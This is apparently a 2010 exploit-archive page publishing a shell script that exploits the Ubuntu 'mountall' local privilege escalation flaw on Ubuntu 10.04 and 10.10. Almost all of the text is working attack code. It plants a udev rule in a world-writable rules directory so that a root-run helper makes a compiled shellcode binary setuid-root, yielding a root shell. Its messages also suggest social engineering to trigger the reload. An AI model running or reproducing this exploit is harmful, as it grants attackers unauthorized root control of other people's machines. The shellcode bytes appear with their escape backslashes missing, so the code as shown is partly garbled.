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[local exploits] - Ubuntu Linux 'mountall' Local P

Posted on 21 September 2010

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Ubuntu Linux &#039;mountall&#039; Local Privilege Escalation Vulnerability
================================================================

#!/bin/sh
# by fuzz. For Anux inc. #
# ubuntu 10.04 , 10.10
if [ -z &quot;$1&quot; ]
then
        echo &quot;usage: $0 &lt;UDEV KERNEL EVENT&gt;&quot;
        echo &quot;see here http://www.reactivated.net/writing_udev_rules.html&quot;
        exit
fi
cat &gt; usn985-exploit.sh &lt;&lt; EOF
#!/bin/sh
chown root:root $PWD/usn985-sc
chmod +s $PWD/usn985-sc
EOF
cat &gt; usn985-sc.c &lt;&lt; EOF
char *s=&quot;x31xc0x31xdbx31xc9x31xd2x52x68x6ex2fx73x68&quot;
&quot;x68x2fx2fx62x69x89xe3x52x53x89xe1xb0x0bxcdx80&quot;;
main(){int *r;*((int *)&amp;r+2)=(int)s;}
EOF
gcc usn985-sc.c -o usn985-sc
echo &quot;KERNEL==&quot;$1&quot;, RUN+=&quot;$PWD/usn985-exploit.sh&quot;&quot; &gt;&gt; /dev/.udev/rules.d/root.rules
chmod +x usn985-exploit.sh
echo &quot;All set, now wait for udev to restart (reinstall, udev upgrade, SE, raep, threat.)&quot;
echo &quot;Once the conf is reloaded, just make the udev event happen : usn985-sc file will get suid-root&quot;


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-09-21]</pre></body></html>

 

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